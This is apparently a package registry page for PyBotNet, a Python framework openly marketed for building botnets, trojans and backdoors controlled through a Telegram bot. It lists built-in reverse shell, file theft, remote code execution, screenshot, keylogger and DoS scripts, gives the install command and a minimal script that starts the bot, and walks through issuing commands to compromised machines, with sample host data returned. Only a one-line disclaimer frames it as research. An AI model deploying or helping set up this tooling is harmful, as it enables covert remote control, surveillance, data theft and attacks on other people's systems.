PyBotNet

A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.

Source Code: https://github.com/onionj/pybotnet

Documentation: https://onionj.github.io/pybotnet/

ToDo List: https://github.com/users/onionj/projects/1

Features:

Built in Telegram control pannel and proxy system
Built in scripts like:
- reverse shell
- put or get file
- run python code on target systems
- get screenshot
- keylogger
- dos
- scheduler
- ...
Cross platform
Ability to easily add custom scripts
Import external scripts
Ability to add custom control panel
Add remote control to your apps
...

Install PyBotNet

pip3 install pybotnet -U

-U: make sure to upgrade framework to latest version.

The simplest PyBotNet file could look like this:

# in main.py
from pybotnet import BotNet, TelegramEngine


telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)

botnet = BotNet(telegram_engine) # (2)
botnet.run()

create engine: Engines transfer messages between admin and botnet
create BotNet instance

note:

TELEGRAM_TOKEN: You can use telegram @botfather to Create new telegram API Bot and get your TELEGRAM_TOKEN
ADMIN_CHAT_ID: Get it from @userinfobot telegram bot
PyBotNet include default scripts, like: /shell, /put_file, /get_file, /screenshot, /who, ..., you can send /help to your telegram bot and see more detail..

Run code:

python3 main.py

telegram engine

open telegram and send /who command to your bot; If you have done the steps correctly, you recive a message like this:

scripts_name:
    echo
    who
    shell
    screenshot
    put_file
    get_file
    runcode
    openurl
    dos
    schedule

mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True

you can send /help to see help page, or send /help <script_name> to recive more help about a specific script.

for example send /help screenshot, You will receive:

NAME:
screenshot

DESCRIPTION:
get screen shot
    * `[mac-address] /screenshot`
    or
    * `/screenshot`

    example command: 
        * `94945035671481 /screenshot`
        * `/screenshot` 

    return: img or img-download-link
    

script_version: 0.0.1
default_script: True

___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False

in top of message you see script name, description, syntax, and examples.

for run screenshot script you have two choice:

Run the script on all clients that are listening to Telegram bot (for now we have one!)
Run script on one specific system

for run script on all client send /screenshot.

bot if you need to get screen-shot on a specific system you need to send [mac_addres] /screenshot for our case: 228362405364 /screenshot

in some case like /shell you need to run it just for one system.

For see who we can Add custom scripts, Run in background, Running the pybotnet without coding, and etc, see the below documentation.

For more, see Documentation

Contributors ✨

Thanks goes to these wonderful people :

_TorhamDev

_{SepehrRasouli}

Metadata

Release files for pybotnet 2.2.5

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for pybotnet 2.2.5
File	Size	Uploaded
pybotnet-2.2.5.tar.gz	32.4 kB	Mar 30, 2024	Details

Built distribution (wheel)

Table of built distributions (wheels) for pybotnet 2.2.5
File	Interpreter	ABI	Platform	Reset
pybotnet-2.2.5-py3-none-any.whl 37.4 kB Mar 30, 2024	Python 3	none	any	Details

Total release size: 69.8 kB

Release files / pybotnet-2.2.5.tar.gz

Download URL	pybotnet-2.2.5.tar.gz
Size	32.4 kB
Tags	Source
SHA-256 checksum How to use checksums	`ad11396d38a788b7013915b8a236f19f86149ad3762ee4a42eaa2e149b67aa37`
BLAKE2b-256 checksum How to use checksums	`8967d01fb3064d8e1a4beb40d867ae3166bb74ea1c9c5dd1102c047b4333c93c`
Upload date	Mar 30, 2024
Uploaded using Trusted Publishing? What is trusted publishing?	No
Uploaded via	`twine/5.0.0 CPython/3.10.13`

Release files / pybotnet-2.2.5-py3-none-any.whl

Download URL	pybotnet-2.2.5-py3-none-any.whl
Size	37.4 kB
Tags	Python 3
SHA-256 checksum How to use checksums	`c850c79c4f7fc3843464a84e7d32c47f3a544891b9e6ad7092bed58325cce5ab`
BLAKE2b-256 checksum How to use checksums	`f845d888d6b130131e4d255ebcd1caaa86b9fab2a103ee6ca46b4fa4bb6e70ba`
Upload date	Mar 30, 2024
Uploaded using Trusted Publishing? What is trusted publishing?	No
Uploaded via	`twine/5.0.0 CPython/3.10.13`